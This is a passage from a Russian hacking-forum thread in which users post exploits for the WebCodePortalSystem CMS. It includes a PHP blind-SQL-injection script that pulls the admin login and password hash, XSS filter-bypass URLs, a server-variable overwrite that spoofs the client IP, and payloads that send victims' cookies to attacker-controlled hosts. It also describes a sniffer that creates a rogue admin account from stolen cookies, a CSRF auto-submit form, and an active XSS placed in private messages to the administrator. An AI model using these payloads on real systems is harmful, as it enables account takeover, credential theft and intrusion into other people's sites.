    $tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
        if(
    $znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
        else 
    $tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
        
        return 
    $tmp;
    }

    function 
    logg($str){
        echo(
    $str.'<br>'."\r\n");
        
    flush();
    }

    $ret='';
    logg('<b>'.$set['host'].'</b>');
    logg('Выдираем логин...');
    for(
    $i=1;$i<=25;$i++){
        
    $sred=0;
        
    $tmp='';
        
    $i2=0;
        
    $i3=0;
        
    $znak='>';
        
    $mins=0;
        
    $maxs=255;
        while(
    1){
            if(
    $maxs-$mins>3){
                
    $sred=round(($mins+$maxs)/2);
            }else{
                
    $sred=$mins+$i2;
                
    $znak='=';
                
    $i2=$i2+1;
                if(
    $mins>$maxs)break;
            }
            
    $dt=file_get_contents(create_packet($i,$sred,$maxs,$znak));
            
            if((!
    strpos($dt,$set['catnm1']))||(!strpos($dt,$set['catnm2'])))die('Не верный префикс, либо неверно указанны названия статей');
            if(
    strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){        
                if(
    $znak==='>')$mins=$sred;
                else if(
    $znak==='='){
                    
    $ret.=chr($sred);
                    break;
                }
            }else{
                if(
    $znak==='>')$maxs=$sred;
            }
            
            if(
    $i3>30)break;
            else 
    $i3++;
        }
        if(
    ord(substr($ret,$i-1))==0)break;
    }
    if(empty(
    $ret))die('Не получилось :(');
    logg('Логин: <b>'.$ret.'</b>');
    $ret='';
    logg('Выдираем хеш...');
    for(
    $i=1;$i<=32;$i++){
        
    $sred=0;
        
    $tmp='';
        
    $i2=0;
        
    $i3=0;
        
    $znak='>';
        
    $mins=0;
        
    $maxs=255;
        while(
    1){
            if(
    $maxs-$mins>3){
                
    $sred=round(($mins+$maxs)/2);
            }else{
                
    $sred=$mins+$i2;
                
    $znak='=';
                
    $i2=$i2+1;
                if(
    $mins>$maxs)break;
            }
            
    $dt=file_get_contents(create_packet($i,$sred,$maxs,$znak,'user_pass'));

            if(
    strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
                if(
    $znak==='>')$mins=$sred;
                else if(
    $znak==='='){
                    
    $ret.=chr($sred);
                    break;
                }
            }else{
                if(
    $znak==='>')$maxs=$sred;
            }
            
            if(
    $i3>30)break;
            else 
    $i3++;
        }
        if(
    ord(substr($ret,$i-1))==0)break;
    }
    if(empty(
    $ret))die('Не получилось :(');
    logg('Хеш: <b>'.$ret.'</b>');
    ?>
    Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.
     
    #14 Dr.Z3r0, 18 Jan 2008
    Last edited: 31 May 2011
    3 people like this.
  15. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    XSS WCPS v.4.2.1
    Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
    Code:
    http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
    http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
     
    1 person likes this.
  16. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Перезапись системных переменных WCPS v.4.2.1
    Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php:
    Code:
    ...
    if ( is_array($_GET) ) {
       while( list($k, $v) = each($_GET) ) {
         if ( is_array($_GET[$k]) ) {
            while( list($k2, $v2) = each($_GET[$k]) ) {
              $k=key_check("$k");//Кавычки не убирать
                  $k2=key_check("$k2");
              $_GET[$k][$k2] = str_check($v2);
                     eval("\$".$k."[\$k2] = str_check(\$v2);");
            }
         }
         else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
       }
     }
    ...
    function key_check($key) {
     if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
     $key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
     return $key;
    }
    ...
    
    собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.

    Чтож вот собственно и как юзать:
    Code:
    http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
    После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".
     
    1 person likes this.
  17. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию

    XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать!
    Под XSS найденные Dr.Z3r0 я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими.

    Вот XSS:

    Нам понадобится следующее:

    -Сам снифер (смотреть в аттаче)
    -Хост с поддержкой сокетов (врятли достать такой хост проблемно)


    Привидем XSS к рабочему виду, сделаем с её помощью перемещение на сайт, на котором лежим наш снифер и отдачу куков:

    Code:
    http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>
    * - код XSS так же продублирован в аттаче, в эту могут добавится лишние пробелы, используйте ту что в аттаче или удалите лишние пробелы в этой

    Меняем данные на свои:

    ("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)

    http://test1.ru/ - хост где будет лежать снифер
    /sn.php - путь до снифера

    Все больше ничего менять не нужно.

    Настроим снифер:

    PHP:
    //===========Config

    $new_user_login 'master';
    $new_user_password md5('master');
    $op1 1// Сохранять полученные куки
    $op2 1// Создать пользователя-админа (нужно что бы на снифер попал админ)
    $link 'http://mail.ru'// Сайт на который будет перемещен, словивший нашу xss

    //===========
    Указываем логин и пароль нового пользователя - хотя можно оставить и пару master:master Ставим две единички (вообще если на снифер попадает админ, то хватит и просто создание нового пользователя, врятли нам после этого понадобятся куки админа). Теперь для чего нужно что бы после слова куков жертву перемещало на какой либо сайт - впринципе можно поставить перемещение на его же сайт, что бы было меньше палева (собственно для этого это и нужно).

    Все сделали? ну тогда просто кидаем XSS админу и ждем результат...
    А результатом должен быть наш новый пользователь (админ).

    Как это работает?

    Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет.

    И ещё немного...

    Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще:

    Этот варинат предложил Dr.Z3r0:

    Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого:

    http://mysite.ru/1.html

    Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь.
    И если так посмотреть то для этого не нужна никакая xss.

    Но у такого способа есть минусы:
    -Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS)

    -Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно).
    Но это можно решить поставив скрипт (с формой) в ифрейм.

    Сам скрипт от Dr.Z3r0 так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx)


    Подводя итоги...

    Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет).

    Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными.

    Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы).

    Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д.

    Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется.

    =====Линк на видео=====

    http://rapidshare.com/files/89037260/wcps_xss.rar.html

    Описание к видео лежит в архиве.

    =====Аттач=====

    sn.zip - снифер-сплойт
    1.zip - форма с отправкой данный, от Dr.Z3r0
    xss.txt - код XSS (в выше написанной добивались пробелы)
     

    Attached Files:

    • sn.zip
      File size:
      942 bytes
      Views:
      742
    • 1.zip
      File size:
      391 bytes
      Views:
      766
    • xss.txt
      File size:
      195 bytes
      Views:
      1,166
    #17 Grey, 4 Feb 2008
    Last edited by a moderator: 31 May 2011
    5 people like this.
  18. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Активная XSS WCPS v.4.2.1

    Бага присутствует на форуме, внутренней почте, гостевой, комментариях. Создаем сообщение/запись/комментарий с содержанием:
    Code:
    [img*]http://google.ru/zzzz.jpg" onerror="setTimeout('ale'+'rt(doc'+'ument.coo'+'kie)',100)[/img*]
    (звездочки из тегов удаляем-седланно чтобы форумом не воспринималось)
    Обновляем страницу/глядим почту. Видим как браузер пытается загрузить несуществующий рисунок "http://google.ru/zzzz.jpg", в результате - ошибка и выполнение javascript-кода.

    На практике нам проще создать ПМ сообщение админу - он в любом случае его откроет и как следствие его куки улетят к вам на снифер. А если вы заюзаете снифер от Grey-я, то тут даже напрягаться не надо, чтобы не потерять сессию.

    как на заказ))
     
    #18 Dr.Z3r0, 7 Feb 2008
    Last edited by a moderator: 7 Feb 2008
    3 people like this.
  19. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v.4.2.2 Еще одна Пассивная XSS

    Благодаря перезаписи переменных реализовал еще одну Пассивную XSS:

    Code:
    http://target.ru/php/wojs.php?_SE;RVER[HTTP_HOST]=site.ru/666.js?
    * - не забудьте знак вопроса на конце
    ** - писать надо именно _SE;RVER, а не _SERVER.


    site.ru - ваш хост
    666.js - файл с содержимым скрипта:

    Code:
    document.location.replace("http://site.ru/sniff.php?c="+document.cookie);
    Используйте снифер из поста #17 для создания нового админа.

    P.S. в этой же скрипте wojs.php есть и другая действующая Пассивная XSS (из поста #10 все ещё не залатана, хотя версии новые выходили) - не скрипт, а прям сосредоточение уязвимостей))
     
    #19 Grey, 7 Feb 2008
    Last edited by a moderator: 31 May 2011
    5 people like this.
  20. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Самая простая пассивная xss на исправление которой уйдут месяцы :))) Гг

    Сам не ожидал такой простоты
    http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

    ЗЫ http://wcps.ru/><script>alert(document.cookie)</script>
     
    #20 Macro, 8 Feb 2008
    Last edited: 8 Feb 2008
    4 people like this.